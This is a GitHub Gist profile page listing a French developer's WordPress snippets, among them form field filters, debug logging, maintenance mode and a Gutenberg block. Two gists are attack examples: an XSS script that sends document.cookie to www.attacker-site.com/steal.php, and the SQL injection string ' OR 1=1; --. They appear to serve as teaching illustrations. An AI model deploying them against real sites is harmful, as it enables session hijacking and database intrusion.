Skip to content

Instantly share code, notes, and snippets.

View thierrypigot's full-sized avatar

Thierry Pigot thierrypigot

View GitHub Profile
@thierrypigot
thierrypigot / functions.php
Last active April 4, 2023 14:32
Custom CF7 select field values
<?php
/**
* Use this CF7 field [select dates_cyril], field name is "dates_cyril"
**/
add_filter( 'wpcf7_form_tag', 'waw_dynamic_select_field_values', 10, 2);
function waw_dynamic_select_field_values ( $scanned_tag, $replace ) {
if ( $scanned_tag['name'] != 'dates_cyril' ) {
@thierrypigot
thierrypigot / compteur-de-vues.php
Created March 31, 2023 08:49
Compteur de vues WordPress
<?php
/*
Plugin Name: Compteur de vues d'articles
Plugin URI: https://example.com/plugins/compteur-de-vues-darticles
Description: Ce plugin permet de compter les vues d'un article ou d'un custom post type.
Version: 1.0
Author: Votre nom
Author URI: https://example.com
License: GPL-2.0+
License URI: http://www.gnu.org/licenses/gpl-2.0.txt
@thierrypigot
thierrypigot / wp-config.php
Last active March 16, 2023 13:40
Activer le mode débogage sans afficher les erreurs à l'écran et les enregistrer dans un fichier à la place
<?php
/** LOG Error **/
// Enable WP_DEBUG mode
define( 'WP_DEBUG', true );
// Enable Debug logging to the /wp-content/debug.log file
define( 'WP_DEBUG_LOG', true );
// Disable display of errors and warnings
define( 'WP_DEBUG_DISPLAY', false );
@thierrypigot
thierrypigot / .htaccess
Created March 16, 2023 10:36
Mettre WordPress en maintenance
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/maintenance\.html$
RewriteCond %{REMOTE_ADDR} !^123\.456\.789\.000
RewriteRule .* /maintenance.html [R=503,L]
ErrorDocument 503 /maintenance.html
Header Set Cache-Control "max-age=0, no-store"
@thierrypigot
thierrypigot / maintenance.php
Created March 16, 2023 10:36
Mettre WordPress en maintenance
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<title>Maintenance</title>
</head>
<body>
<h1>Nous sommes en maintenance</h1>
<p>Nous effectuons actuellement des travaux sur notre site. Merci de revenir plus tard.</p>
</body>
@thierrypigot
thierrypigot / .maintenance
Created March 16, 2023 10:34
Mettre WordPress en maintenance
<?php $upgrading = time(); ?>
@thierrypigot
thierrypigot / xss.html
Created March 14, 2023 14:08
Faille XSS (Cross site scripting)
<script>
var cookies = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.attacker-site.com/steal.php?cookies=" + cookies, true);
xhr.send();
</script>
@thierrypigot
thierrypigot / functions.php
Created March 14, 2023 08:55
Injection SQL
' OR 1=1; --
@thierrypigot
thierrypigot / microformat.html
Created February 9, 2023 09:42
Microformat ou donnée structurée
<div class="vcard">
<h2>Nom de l'entreprise</h2>
<p>
Adresse : <span class="street-address">123 Main St</span>
<span class="locality">Ville</span>,
<span class="region">État</span>
<span class="postal-code">Code postal</span>
</p>
<p>
Téléphone : <span class="tel">(555) 555-5555</span>
@thierrypigot
thierrypigot / functions.php
Created December 28, 2022 10:38
Custom Gutenberg bloc
<?php
// Register the hero block
function register_hero_block() {
register_block_type('my-plugin/hero', array(
'render_callback' => 'render_hero_block',
'attributes' => array(
'title' => array(
'type' => 'string',
'default' => '',
),